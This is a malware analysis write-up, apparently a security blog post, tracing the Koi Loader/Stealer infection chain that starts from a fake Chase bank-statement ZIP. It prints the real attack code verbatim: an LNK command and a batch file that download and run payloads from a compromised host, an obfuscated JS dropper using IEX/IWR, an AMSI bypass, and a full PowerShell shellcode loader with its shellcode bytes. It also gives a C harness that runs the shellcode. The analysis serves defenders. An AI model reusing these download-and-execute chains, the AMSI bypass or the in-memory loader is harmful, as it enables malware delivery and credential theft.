Koi Loader/Stealer - Part 1
On January 12, 2024, Cyble released a report titled "Sneaky Azorult Back in Action and Goes Undetected," highlighting key indicators of a concerning resurgence. Subsequent analysis by InfoSec experts revealed that this malware constituted a wholly new variant, devoid of any code overlap with previous Azorult iterations.
The Koi Loader campaign orchestrates a multi-stage infection chain culminating in the dissemination of the Koi Stealer malware.
A "loader" is a type of malicious software designed to facilitate the delivery and execution of additional malware payloads onto a victim's system. Its primary function is to initiate the infection process by downloading and installing further malicious components, often operating stealthily to evade detection and to maintain persistence within the compromised system.
On the other hand, a "stealer" malware, such as the Koi Stealer in this context, specializes in clandestinely extracting sensitive information from infected devices. Typically, this includes credentials, financial data, and other personally identifiable information, which is then exfiltrated to remote servers controlled by malicious actors. Stealers are engineered to operate covertly, aiming to evade detection by security measures while surreptitiously harvesting valuable data from compromised systems.
The current Koi Loader/Koi Stealer campaigns are incorporating bank statement-themed lures, as indicated by the findings outlined in the Cyble report and the information discussed on this platform.
Before discussing the intricacies of the analysis, let us first examine an overview of the infection chain.
Despite the initial challenge in obtaining the initial email, Brad (@malware_traffic) successfully acquired the redirection link presented to the user to download the malicious statement. Additionally, he meticulously documented the step-by-step process of the infected ZIP download from the perspective of an unsuspecting user as shown below.
Lastly, before delving into the analysis, it is important to acknowledge the contribution of Unit 42 (@Unit42_Intel), who was the first to attribute this malware as Koi Loader/Koi Stealer in their X post.
In this article, we will analyze a file similar to the one observed by Brad, titled 'chasebank_statement_mar.zip'.
Upon extraction, an LNK file impersonating a PDF document is observed, with the icon resembling that of a PDF document.
Upon viewing the file properties, we are able to see the file command line.
The associated command line with the LNK file is as follows:
%systemroot%\System32\cmd.exe /c curl -o 6E7ybtsVNxGv.bat "https://admiralpub.ca/wp-content/uploads/2017/olympiadic.php" & schtasks /create /f /tr "'%tmp%\6E7ybtsVNxGv.bat' XrRmf10jze3g6UI" /sc minute /tn XrRmf10jze3g6UI /mo 1
The provided command line indicates that upon execution, the file downloads a malicious BAT file to the temporary directory and establishes a scheduled task to execute it every minute.
Upon inspecting the contents of the BAT file, it becomes apparent that it contains Powershell commands to download a malicious JS file to the temporary directory, delete the previously created scheduled task by the LNK file, and execute the malicious JS file using wscript.exe.
For reference, the contents of the malicious batch script are as follows:
start /min powershell -com "IWR -useb 'https://admiralpub.ca/wp-content/uploads/2017/oligophosphaturia.php' -outf '%tmp%\GSOLAMHFGX09.js'; schtasks /delete /tn %1 /f; wscript %tmp%\GSOLAMHFGX09.js"
Upon inspecting the downloaded JS file, a lightly obfuscated script is observed.
For reference, the contents of the malicious JS file are as follows:
var f1="Scr",f2="ing.Fi",f3="stemOb" var fso = new ActiveXObject(f1+"ipt"+f2+"leSy"+f3+"ject"); var w1="WSc",w2="riPt",w4="eLl" var wsh=w1+w2+".sH"+w4 var bbj=new ActiveXObject(wsh) var fldr=GetObject("winmgmts:root\\cimv2:Win32_Processor='cpu0'").AddressWidth==64?"SysWOW64":"System32" var rd=bbj.ExpandEnvironmentStrings("%SYSTEMROOT%")+"\\"+fldr+"\\WindowsPowerShell\\v1.0\\powershell.exe" if (WScript.ScriptName != "agent.js") { var fs5="yFi" try { fso["Cop"+fs5+"le"](WScript.ScriptFullName, bbj.ExpandEnvironmentStrings("%programdata%")+"\\agent.js"); } catch (e) {} } var mtx_name="7zNAE19F6PMG"; var mtx_file = bbj.ExpandEnvironmentStrings("%temp%")+"\\"+mtx_name; var fs1="leteFi" var fs2="leExis" try { fso["De"+fs1+"le"](mtx_file); } catch (e) {} if (!fso["Fi"+fs2+"ts"](mtx_file)) { bbj.Run(rd+" -command \"$env:paths = '" + mtx_name + "'; IEX(IWR -UseBasicParsing 'https://admiralpub.ca/wp-content/uploads/2017/agent1.ps1'); $f.SetValue($null, $true); IEX(IWR -UseBasicParsing 'https://admiralpub.ca/wp-content/uploads/2017/agent3.ps1')\"", 0) }
The unobfuscated script is as follows:
var fso = new ActiveXObject("Scripting.FileSystemObject"); var wsh = "WScriPt.sHeLl" var bbj = new ActiveXObject(wsh) var fldr = GetObject("winmgmts:root\\cimv2:Win32_Processor='cpu0'").AddressWidth == 64 ? "SysWOW64" : "System32" var rd = bbj.ExpandEnvironmentStrings("%SYSTEMROOT%") + "\\" + fldr + "\\WindowsPowerShell\\v1.0\\powershell.exe" if (WScript.ScriptName != "agent.js") { try { fso["CopyFile"](WScript.ScriptFullName, bbj.ExpandEnvironmentStrings("%programdata%") + "\\agent.js"); } catch (e) {} } var mtx_name = "7zNAE19F6PMG"; var mtx_file = bbj.ExpandEnvironmentStrings("%temp%") + "\\" + mtx_name; try { fso["DeleteFile"](mtx_file); } catch (e) {} if (!fso["FileExists"](mtx_file)) { bbj.Run(rd + " -command \"$env:paths = '" + mtx_name + "'; IEX(IWR -UseBasicParsing 'https://admiralpub.ca/wp-content/uploads/2017/agent1.ps1'); $f.SetValue($null, $true); IEX(IWR -UseBasicParsing 'https://admiralpub.ca/wp-content/uploads/2017/agent3.ps1')\"", 0) }
The malicious code provided above is responsible for initializing instances of FileSystemObject and WScript.Shell, determining the system's architecture and constructing the path to PowerShell executable accordingly. It then attempts to copy itself to a new location for persistence, excluding the scenario where the script name is agent.js. Subsequently, it defines a mutex name and tries to delete a mutex file. The core functionality lies in executing PowerShell commands: it sets an environment variable, downloads and executes two PowerShell scripts (agent1.ps1 and agent3.ps1) from remote URLs. This action occurs only if the mutex file does not exist.
The agent1.ps1 PowerShell script retrieves all types from the currently loaded assembly and searches for a specific type with a name containing "iUtils". Once this type is found, it proceeds to retrieve all non-public and static fields within it. Subsequently, it searches for a field within this type with a name containing "ailed".
The script likely targets AmsiUtils, indicated by the naming convention used to search for types containing "iUtils" and fields containing "ailed." In particular, the $f.SetValue($null,$true) command observed in the previous JS script sets the value of amsiInitFailed to true. This action effectively bypasses AMSI, a critical security feature in PowerShell, enabling malicious scripts to evade detection and execute without interference from AMSI's scanning mechanisms. By circumventing AMSI, the script can proceed with executing potentially harmful commands or payloads without being detected, posing significant security risks to the system.
For reference, the contents of the malicious agent1.ps1 file are as follows:
$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};$d=$c.GetFields("NonPublic,Static");Foreach($e in $d) {if ($e.Name -like "*ailed") {$f=$e}};
After making modifications to the code and executing it, we obtain the targeted items. The modified code is as follows:
$a=[Ref].Assembly.GetTypes(); Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b; Write-Host $b}}; $d=$c.GetFields("NonPublic,Static"); Foreach($e in $d) {if ($e.Name -like "*ailed") {$f=$e; Write-Host $f}};
The agent3.ps1 Powershell script initializes shellcode ($sc) and retrieves the addresses of essential Win32 API functions like VirtualAlloc, CreateThread, and WaitForSingleObject. Subsequently, it allocates memory within the current process's address space using VirtualAlloc and copies the shellcode into this allocated memory. It creates a thread in the current process's context using CreateThread, passing the shellcode's start address as the thread's entry point and the remote executable's image buffer as a variable to be passed to the thread. Finally, it waits indefinitely for the thread to terminate using WaitForSingleObject.
For reference, the contents of the malicious agent3.ps1 file are as follows:
[Byte[]]$image = (IWR -UseBasicParsing 'https://admiralpub.ca/wp-content/uploads/2017/oligochaete.exe').Content; function GDT { Param ( [OutputType([Type])] [Parameter( Position = 0)] [Type[]] $Parameters = (New-Object Type[](0)), [Parameter( Position = 1 )] [Type] $ReturnType = [Void] ) $DA = New-Object System.Reflection.AssemblyName('RD') $AB = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DA, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) $MB = $AB.DefineDynamicModule('IMM', $false) $TB = $MB.DefineType('MDT', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) $CB = $TB.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) $CB.SetImplementationFlags('Runtime, Managed') $MB = $TB.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) $MB.SetImplementationFlags('Runtime, Managed') Write-Output $TB.CreateType() } function GPA { Param ( [OutputType([IntPtr])] [Parameter( Position = 0, Mandatory = $True )] [String] $Module, [Parameter( Position = 1, Mandatory = $True )] [String] $Procedure ) $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [reflection.bindingflags] "Public,Static", $null, [System.Reflection.CallingConventions]::Any, @((New-Object System.Runtime.InteropServices.HandleRef).GetType(), [string]), $null) $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) $tmpPtr = New-Object IntPtr $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) } $marshal = [System.Runtime.InteropServices.Marshal] [Byte[]]$sc = 0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x14, 0x53, 0x56, 0x57, 0x64, 0xA1, 0x30, 0x00, 0x00, 0x00, 0x8B, 0x40, 0x0C, 0x8B, 0x40, 0x0C, 0x8B, 0x00, 0x8B, 0x00, 0x8B, 0x40, 0x18, 0x89, 0x45, 0xF8, 0x8B, 0x75, 0xF8, 0xBA, 0xF1, 0xF0, 0xAD, 0x0A, 0x8B, 0xCE, 0xE8, 0xD2, 0x01, 0x00, 0x00, 0xBA, 0x03, 0x1D, 0x3C, 0x0B, 0x89, 0x45, 0xF0, 0x8B, 0xCE, 0xE8, 0xC3, 0x01, 0x00, 0x00, 0xBA, 0xE3, 0xCA, 0xD8, 0x03, 0x89, 0x45, 0xEC, 0x8B, 0xCE, 0xE8, 0xB4, 0x01, 0x00, 0x00, 0x8B, 0xD8, 0x8B, 0x45, 0x08, 0x6A, 0x40, 0x68, 0x00, 0x30, 0x00, 0x00, 0x8B, 0x70, 0x3C, 0x03, 0xF0, 0x89, 0x75, 0xFC, 0xFF, 0x76, 0x50, 0xFF, 0x76, 0x34, 0xFF, 0xD3, 0x8B, 0xF8, 0x85, 0xFF, 0x75, 0x17, 0x6A, 0x40, 0x68, 0x00, 0x30, 0x00, 0x00, 0xFF, 0x76, 0x50, 0x50, 0xFF, 0xD3, 0x8B, 0xF8, 0x85, 0xFF, 0x0F, 0x84, 0x66, 0x01, 0x00, 0x00, 0x8B, 0x56, 0x54, 0x85, 0xD2, 0x74, 0x18, 0x8B, 0x75, 0x08, 0x8B, 0xCF, 0x2B, 0xF7, 0x8A, 0x04, 0x0E, 0x8D, 0x49, 0x01, 0x88, 0x41, 0xFF, 0x83, 0xEA, 0x01, 0x75, 0xF2, 0x8B, 0x75, 0xFC, 0x0F, 0xB7, 0x4E, 0x14, 0x33, 0xC0, 0x03, 0xCE, 0x33, 0xDB, 0x89, 0x4D, 0xF4, 0x66, 0x3B, 0x46, 0x06, 0x73, 0x44, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xB7, 0xC3, 0x8D, 0x04, 0x80, 0x8B, 0x54, 0xC1, 0x28, 0x8B, 0x74, 0xC1, 0x2C, 0x8B, 0x4C, 0xC1, 0x24, 0x03, 0x75, 0x08, 0x03, 0xCF, 0x85, 0xD2, 0x74, 0x13, 0x2B, 0xF1, 0x0F, 0x1F, 0x00, 0x8A, 0x04, 0x0E, 0x8D, 0x49, 0x01, 0x88, 0x41, 0xFF, 0x83, 0xEA, 0x01, 0x75, 0xF2, 0x8B, 0x75, 0xFC, 0x43, 0x8B, 0x4D, 0xF4, 0x66, 0x3B, 0x5E, 0x06, 0x72, 0xC5, 0x8B, 0x86, 0x80, 0x00, 0x00, 0x00, 0x85, 0xC0, 0x74, 0x76, 0x83, 0xBE, 0x84, 0x00, 0x00, 0x00, 0x14, 0x72, 0x6D, 0x83, 0x7C, 0x38, 0x0C, 0x00, 0x8D, 0x1C, 0x38, 0x89, 0x5D, 0x08, 0x74, 0x60, 0x0F, 0x1F, 0x44, 0x00, 0x00, 0x8B, 0x43, 0x0C, 0x03, 0xC7, 0x50, 0xFF, 0x55, 0xF0, 0x8B, 0xD0, 0x89, 0x55, 0xF4, 0x85, 0xD2, 0x74, 0x3A, 0x8B, 0x73, 0x10, 0x8B, 0x0B, 0x85, 0xC9, 0x8D, 0x1C, 0x3E, 0x0F, 0x45, 0xF1, 0x03, 0xF7, 0x8B, 0x06, 0x85, 0xC0, 0x74, 0x22, 0x79, 0x05, 0x0F, 0xB7, 0xC0, 0xEB, 0x05, 0x83, 0xC0, 0x02, 0x03, 0xC7, 0x50, 0x52, 0xFF, 0x55, 0xEC, 0x8B, 0x55, 0xF4, 0x83, 0xC6, 0x04, 0x89, 0x03, 0x83, 0xC3, 0x04, 0x8B, 0x06, 0x85, 0xC0, 0x75, 0xDE, 0x8B, 0x5D, 0x08, 0x83, 0xC3, 0x14, 0x89, 0x5D, 0x08, 0x83, 0x7B, 0x0C, 0x00, 0x75, 0xA8, 0x8B, 0x75, 0xFC, 0x8B, 0xDF, 0x2B, 0x5E, 0x34, 0x83, 0xBE, 0xA4, 0x00, 0x00, 0x00, 0x00, 0x74, 0x52, 0x8B, 0x86, 0xA0, 0x00, 0x00, 0x00, 0x85, 0xC0, 0x74, 0x48, 0x83, 0x3C, 0x38, 0x00, 0x8D, 0x14, 0x38, 0x74, 0x3F, 0x0F, 0x1F, 0x40, 0x00, 0x8B, 0x72, 0x04, 0x8D, 0x42, 0x04, 0x83, 0xEE, 0x08, 0x89, 0x45, 0x08, 0xD1, 0xEE, 0xB9, 0x00, 0x00, 0x00, 0x00, 0x74, 0x1C, 0x0F, 0xB7, 0x44, 0x4A, 0x08, 0x66, 0x85, 0xC0, 0x74, 0x0A, 0x25, 0xFF, 0x0F, 0x00, 0x00, 0x03, 0x02, 0x01, 0x1C, 0x38, 0x41, 0x3B, 0xCE, 0x72, 0xE7, 0x8B, 0x45, 0x08, 0x03, 0x10, 0x83, 0x3A, 0x00, 0x75, 0xC8, 0x8B, 0x75, 0xFC, 0x64, 0xA1, 0x30, 0x00, 0x00, 0x00, 0x89, 0x78, 0x08, 0x8B, 0x46, 0x28, 0x03, 0xC7, 0xFF, 0xD0, 0x5F, 0x5E, 0x5B, 0x8B, 0xE5, 0x5D, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x14, 0x53, 0x8B, 0xD9, 0x89, 0x55, 0xF8, 0x56, 0x57, 0x33, 0xFF, 0x8B, 0x43, 0x3C, 0x8B, 0x44, 0x18, 0x78, 0x03, 0xC3, 0x8B, 0x48, 0x1C, 0x8B, 0x50, 0x24, 0x03, 0xCB, 0x03, 0xD3, 0x89, 0x4D, 0xEC, 0x8B, 0x48, 0x20, 0x03, 0xCB, 0x89, 0x55, 0xF0, 0x8B, 0x50, 0x18, 0x89, 0x4D, 0xF4, 0x89, 0x55, 0xFC, 0x85, 0xD2, 0x74, 0x4B, 0x0F, 0x1F, 0x44, 0x00, 0x00, 0x8B, 0x34, 0xB9, 0x03, 0xF3, 0x74, 0x3A, 0x8A, 0x0E, 0x33, 0xC0, 0x84, 0xC9, 0x74, 0x2A, 0x90, 0xC1, 0xE0, 0x04, 0x8D, 0x76, 0x01, 0x0F, 0xBE, 0xC9, 0x03, 0xC1, 0x8B, 0xD0, 0x81, 0xE2, 0x00, 0x00, 0x00, 0xF0, 0x74, 0x07, 0x8B, 0xCA, 0xC1, 0xE9, 0x18, 0x33, 0xC1, 0x8A, 0x0E, 0xF7, 0xD2, 0x23, 0xC2, 0x84, 0xC9, 0x75, 0xDA, 0x8B, 0x55, 0xFC, 0x3B, 0x45, 0xF8, 0x74, 0x11, 0x8B, 0x4D, 0xF4, 0x47, 0x3B, 0xFA, 0x72, 0xBA, 0x5F, 0x5E, 0x33, 0xC0, 0x5B, 0x8B, 0xE5, 0x5D, 0xC3, 0x8B, 0x45, 0xF0, 0x8B, 0x4D, 0xEC, 0x0F, 0xB7, 0x04, 0x78, 0x5F, 0x5E, 0x8B, 0x04, 0x81, 0x03, 0xC3, 0x5B, 0x8B, 0xE5, 0x5D, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC $VAAddr = GPA kernel32.dll VirtualAlloc $VADeleg = GDT @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]) $VA = $marshal::GetDelegateForFunctionPointer($VAAddr, $VADeleg) $CTAddr = GPA kernel32.dll CreateThread $CTDeleg = GDT @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]) $CT = $marshal::GetDelegateForFunctionPointer($CTAddr, $CTDeleg) $WFSOAddr = GPA kernel32.dll WaitForSingleObject $WFSODeleg = GDT @([IntPtr], [Int32]) ([Int]) $WFSO = $marshal::GetDelegateForFunctionPointer($WFSOAddr, $WFSODeleg) $x=$VA.Invoke(0,$sc.Length, 0x3000, 0x40) $marshal::Copy($sc, 0, $x, $sc.Length); $imageBuf = $marshal::AllocHGlobal($image.Length) $marshal::Copy($image, 0, $imageBuf, $image.Length); $thread = $CT.Invoke(0,0,$x,$imageBuf,0,0); $WFSO.Invoke($thread, -1);
Before analyzing the remote .exe file, let's first examine the shellcode. The shellcode facilitates the loading and mapping of the remote Portable Executable (PE) image into memory by executing precise instructions to initialize the runtime environment and prepare the necessary resources. This procedure can be regarded as a form of obfuscation, as our observation indicates that the PE file executes seamlessly without requiring additional intervention from external sources.
Static analysis presents one avenue for examining the shellcode's behavior. However, its scope is limited, offering only a partial understanding of its intricacies.
However, dynamic analysis has proven more fruitful in understanding the shellcode's behavior. Traditional shellcode execution tools lack the capability to pass required arguments, prompting us to develop the following barebones C program to execute the shellcode with the required arguments and analyze the shellcode effectively.
#include <Windows.h> int main() { HANDLE hFile; DWORD fileSize, bytesRead; LPVOID lpFileBase; hFile = CreateFile(L"Path_to_downloaded_exe_file", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); fileSize = GetFileSize(hFile, NULL); lpFileBase = VirtualAlloc(NULL, fileSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); ReadFile(hFile, lpFileBase, fileSize, &bytesRead, NULL); CloseHandle(hFile); unsigned char sc[] = { 0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x14, 0x53, 0x56, 0x57, 0x64, 0xA1, 0x30, 0x00, 0x00, 0x00, 0x8B, 0x40, 0x0C, 0x8B, 0x40, 0x0C, 0x8B, 0x00, 0x8B, 0x00, 0x8B, 0x40, 0x18, 0x89, 0x45, 0xF8, 0x8B, 0x75, 0xF8, 0xBA, 0xF1, 0xF0, 0xAD, 0x0A, 0x8B, 0xCE, 0xE8, 0xD2, 0x01, 0x00, 0x00, 0xBA, 0x03, 0x1D, 0x3C, 0x0B, 0x89, 0x45, 0xF0, 0x8B, 0xCE, 0xE8, 0xC3, 0x01, 0x00, 0x00, 0xBA, 0xE3, 0xCA, 0xD8, 0x03, 0x89, 0x45, 0xEC, 0x8B, 0xCE, 0xE8, 0xB4, 0x01, 0x00, 0x00, 0x8B, 0xD8, 0x8B, 0x45, 0x08, 0x6A, 0x40, 0x68, 0x00, 0x30, 0x00, 0x00, 0x8B, 0x70, 0x3C, 0x03, 0xF0, 0x89, 0x75, 0xFC, 0xFF, 0x76, 0x50, 0xFF, 0x76, 0x34, 0xFF, 0xD3, 0x8B, 0xF8, 0x85, 0xFF, 0x75, 0x17, 0x6A, 0x40, 0x68, 0x00, 0x30, 0x00, 0x00, 0xFF, 0x76, 0x50, 0x50, 0xFF, 0xD3, 0x8B, 0xF8, 0x85, 0xFF, 0x0F, 0x84, 0x66, 0x01, 0x00, 0x00, 0x8B, 0x56, 0x54, 0x85, 0xD2, 0x74, 0x18, 0x8B, 0x75, 0x08, 0x8B, 0xCF, 0x2B, 0xF7, 0x8A, 0x04, 0x0E, 0x8D, 0x49, 0x01, 0x88, 0x41, 0xFF, 0x83, 0xEA, 0x01, 0x75, 0xF2, 0x8B, 0x75, 0xFC, 0x0F, 0xB7, 0x4E, 0x14, 0x33, 0xC0, 0x03, 0xCE, 0x33, 0xDB, 0x89, 0x4D, 0xF4, 0x66, 0x3B, 0x46, 0x06, 0x73, 0x44, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xB7, 0xC3, 0x8D, 0x04, 0x80, 0x8B, 0x54, 0xC1, 0x28, 0x8B, 0x74, 0xC1, 0x2C, 0x8B, 0x4C, 0xC1, 0x24, 0x03, 0x75, 0x08, 0x03, 0xCF, 0x85, 0xD2, 0x74, 0x13, 0x2B, 0xF1, 0x0F, 0x1F, 0x00, 0x8A, 0x04, 0x0E, 0x8D, 0x49, 0x01, 0x88, 0x41, 0xFF, 0x83, 0xEA, 0x01, 0x75, 0xF2, 0x8B, 0x75, 0xFC, 0x43, 0x8B, 0x4D, 0xF4, 0x66, 0x3B, 0x5E, 0x06, 0x72, 0xC5, 0x8B, 0x86, 0x80, 0x00, 0x00, 0x00, 0x85, 0xC0, 0x74, 0x76, 0x83, 0xBE, 0x84, 0x00, 0x00, 0x00, 0x14, 0x72, 0x6D, 0x83, 0x7C, 0x38, 0x0C, 0x00, 0x8D, 0x1C, 0x38, 0x89, 0x5D, 0x08, 0x74, 0x60, 0x0F, 0x1F, 0x44, 0x00, 0x00, 0x8B, 0x43, 0x0C, 0x03, 0xC7, 0x50, 0xFF, 0x55, 0xF0, 0x8B, 0xD0, 0x89, 0x55, 0xF4, 0x85, 0xD2, 0x74, 0x3A, 0x8B, 0x73, 0x10, 0x8B, 0x0B, 0x85, 0xC9, 0x8D, 0x1C, 0x3E, 0x0F, 0x45, 0xF1, 0x03, 0xF7, 0x8B, 0x06, 0x85, 0xC0, 0x74, 0x22, 0x79, 0x05, 0x0F, 0xB7, 0xC0, 0xEB, 0x05, 0x83, 0xC0, 0x02, 0x03, 0xC7, 0x50, 0x52, 0xFF, 0x55, 0xEC, 0x8B, 0x55, 0xF4, 0x83, 0xC6, 0x04, 0x89, 0x03, 0x83, 0xC3, 0x04, 0x8B, 0x06, 0x85, 0xC0, 0x75, 0xDE, 0x8B, 0x5D, 0x08, 0x83, 0xC3, 0x14, 0x89, 0x5D, 0x08, 0x83, 0x7B, 0x0C, 0x00, 0x75, 0xA8, 0x8B, 0x75, 0xFC, 0x8B, 0xDF, 0x2B, 0x5E, 0x34, 0x83, 0xBE, 0xA4, 0x00, 0x00, 0x00, 0x00, 0x74, 0x52, 0x8B, 0x86, 0xA0, 0x00, 0x00, 0x00, 0x85, 0xC0, 0x74, 0x48, 0x83, 0x3C, 0x38, 0x00, 0x8D, 0x14, 0x38, 0x74, 0x3F, 0x0F, 0x1F, 0x40, 0x00, 0x8B, 0x72, 0x04, 0x8D, 0x42, 0x04, 0x83, 0xEE, 0x08, 0x89, 0x45, 0x08, 0xD1, 0xEE, 0xB9, 0x00, 0x00, 0x00, 0x00, 0x74, 0x1C, 0x0F, 0xB7, 0x44, 0x4A, 0x08, 0x66, 0x85, 0xC0, 0x74, 0x0A, 0x25, 0xFF, 0x0F, 0x00, 0x00, 0x03, 0x02, 0x01, 0x1C, 0x38, 0x41, 0x3B, 0xCE, 0x72, 0xE7, 0x8B, 0x45, 0x08, 0x03, 0x10, 0x83, 0x3A, 0x00, 0x75, 0xC8, 0x8B, 0x75, 0xFC, 0x64, 0xA1, 0x30, 0x00, 0x00, 0x00, 0x89, 0x78, 0x08, 0x8B, 0x46, 0x28, 0x03, 0xC7, 0xFF, 0xD0, 0x5F, 0x5E, 0x5B, 0x8B, 0xE5, 0x5D, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x14, 0x53, 0x8B, 0xD9, 0x89, 0x55, 0xF8, 0x56, 0x57, 0x33, 0xFF, 0x8B, 0x43, 0x3C, 0x8B, 0x44, 0x18, 0x78, 0x03, 0xC3, 0x8B, 0x48, 0x1C, 0x8B, 0x50, 0x24, 0x03, 0xCB, 0x03, 0xD3, 0x89, 0x4D, 0xEC, 0x8B, 0x48, 0x20, 0x03, 0xCB, 0x89, 0x55, 0xF0, 0x8B, 0x50, 0x18, 0x89, 0x4D, 0xF4, 0x89, 0x55, 0xFC, 0x85, 0xD2, 0x74, 0x4B, 0x0F, 0x1F, 0x44, 0x00, 0x00, 0x8B, 0x34, 0xB9, 0x03, 0xF3, 0x74, 0x3A, 0x8A, 0x0E, 0x33, 0xC0, 0x84, 0xC9, 0x74, 0x2A, 0x90, 0xC1, 0xE0, 0x04, 0x8D, 0x76, 0x01, 0x0F, 0xBE, 0xC9, 0x03, 0xC1, 0x8B, 0xD0, 0x81, 0xE2, 0x00, 0x00, 0x00, 0xF0, 0x74, 0x07, 0x8B, 0xCA, 0xC1, 0xE9, 0x18, 0x33, 0xC1, 0x8A, 0x0E, 0xF7, 0xD2, 0x23, 0xC2, 0x84, 0xC9, 0x75, 0xDA, 0x8B, 0x55, 0xFC, 0x3B, 0x45, 0xF8, 0x74, 0x11, 0x8B, 0x4D, 0xF4, 0x47, 0x3B, 0xFA, 0x72, 0xBA, 0x5F, 0x5E, 0x33, 0xC0, 0x5B, 0x8B, 0xE5, 0x5D, 0xC3, 0x8B, 0x45, 0xF0, 0x8B, 0x4D, 0xEC, 0x0F, 0xB7, 0x04, 0x78, 0x5F, 0x5E, 0x8B, 0x04, 0x81, 0x03, 0xC3, 0x5B, 0x8B, 0xE5, 0x5D, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC }; LPVOID shellcodeAddr = VirtualAlloc(0, sizeof(sc), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy(shellcodeAddr, sc, sizeof(sc)); HANDLE thread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)shellcodeAddr, lpFileBase, 0, NULL); WaitForSingleObject(thread, INFINITE); }
Executing the provided code enables us to set breakpoints following the second VirtualAlloc call, which facilitates the debugging of the shellcode during execution. Importantly, the correct arguments are passed to recreate its intended behavior, enhancing the accuracy of our analysis. We arrived at the previously mentioned analysis of the shellcode by employing this process, which serves as the foundation for our understanding of the shellcode behavior.
Finally, let's delve into comprehending the functionality of the remote executable referenced in agent3.ps1.
Upon analysis, it's observed that this executable file functions as a loader tasked with extracting a block of data sized at 0x9c00 from alternate bytes within the .rsrc section of the PE file. Subsequently, it applies an XOR operation with the key specified immediately before the aforementioned data within the .rsrc section.
After reading alternate bytes from the beginning of the encrypted data section and decrypting it using the XOR key, the file proceeds to map the resulting decrypted PE file in memory for execution.
I have written a Python script to statically dump the decrypted PE file using the analysis points mentioned. This script also prints out URLs observed as strings from the dumped PE file.
import re def xor_bytes(bytes1, bytes2): return bytes(a ^ b for a, b in zip(bytes1, bytes2)) def find_http_strings(decrypted_payload): # Try decoding with UTF-8 try: decrypted_payload_str_utf8 = decrypted_payload.decode("utf-8", errors="ignore") except UnicodeDecodeError: decrypted_payload_str_utf8 = "" # Try decoding with UTF-16 try: decrypted_payload_str_utf16 = decrypted_payload.decode("utf-16", errors="ignore") except UnicodeDecodeError: decrypted_payload_str_utf16 = "" # Combine both decoded strings decrypted_payload_str = decrypted_payload_str_utf8 + decrypted_payload_str_utf16 # Use regex to find HTTP URLs http_urls = re.findall(r'http[s]?://(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\\(\\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+', decrypted_payload_str) return http_urls def main(): # Define the key key = bytes.fromhex("83 08 DF D6 68 7C 54 40 0F 1A 06 C9 DC C1 24 71 1A A3 EE 0D 9D 53 74") # Read the entire file with open("oligochaete.exe", "rb") as file: data = file.read() # Find the program section start program_section_start = bytes.fromhex("CE0052004F00D6006B") program_index = data.find(program_section_start) if program_index != -1: # Extract the program section program_section = data[program_index: program_index + 0x9c00 * 2] # Read every alternate byte program_section = program_section[::2] print("Program Section Length:", len(program_section)) # Repeat the key to match the length of the program section repeated_key = (key * (len(program_section) // len(key) + 1))[:len(program_section)] # Perform XOR operation output = xor_bytes(program_section, repeated_key) # Write the output to "decrypted_payload.bin" with open("decrypted_payload.bin", "wb") as output_file: output_file.write(output) # Find HTTP strings in decrypted payload with open("decrypted_payload.bin", "rb") as decrypted_file: decrypted_payload = decrypted_file.read() http_strings = find_http_strings(decrypted_payload) # Print the found URLs if http_strings: print("Malware Config (HTTP URLs):") for url in http_strings: print(url) else: print("No malware config (HTTP URLs) found.") else: print("Program section not found in the file.") if __name__ == "__main__": main()
This resultant dumped PE file is clean and can be analyzed easily due to minimal obfuscation and the presence of strings in cleartext.
Upon analyzing the decrypted PE file, we observe the presence of two additional payloads that are referenced and utilized by the malware.
These PowerShell scripts are responsible loading two .NET executables into memory. However, this blog post primarily emphasizes the initial delivery and loading mechanisms employed by the malware, rather than delving into its complete functionality. The next installment will provide a comprehensive analysis of the malware's behavior and features, including these scripts.
IOCs
The indicators mentioned here are based on the analysis conducted by me and do not include any externally referenced indicators.
Name | IOC | Type |
---|---|---|
